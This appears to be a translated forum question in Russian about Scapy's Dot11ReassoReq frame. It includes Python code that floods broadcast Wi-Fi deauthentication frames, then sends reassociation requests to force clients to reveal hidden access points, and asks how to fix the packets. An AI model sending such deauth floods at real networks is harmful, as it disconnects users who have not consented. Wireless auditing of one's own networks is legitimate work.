Что такое scapy's Dot11ReassoReq и что он делает? Это идеально подходит для моих целей: я хочу создать инструмент, который (помимо прочего) ищет скрытые точки доступа. Мой код до сих пор:Scapy Dot11ReassoReq
def tickle(*args,**kwargs):
packs1=[]
packs2=[]
for client in appinstance.sframe.interior.clients.copy():
pkt=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=client,addr3=client)/\
Dot11Deauth()
packs1.append(pkt)
for client in appinstance.sframe.interior.clients.copy():
pkt=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=client,addr3=client)/\
Dot11ReassoReq(current_AP=client)
packs2.append(pkt)
packs1*=32
shuffle(packs1)
packs2*=32
shuffle(packs2)
packs=packs1+packs2
appinstance.stopprogressbar()
appinstance.startprogressbardet(len(packs),
"Trying to expose hidden AP's")
for pkt in packs:
send(pkt,verbose=0)
appinstance.progressbar.step()
appinstance.stopprogressbar()
Однако Wireshark сообщает, что эти ReassoReq пакеты являются недействительными. Почему и какие пакеты я должен использовать, чтобы заставить клиента повторно подключиться после пакета Deauth?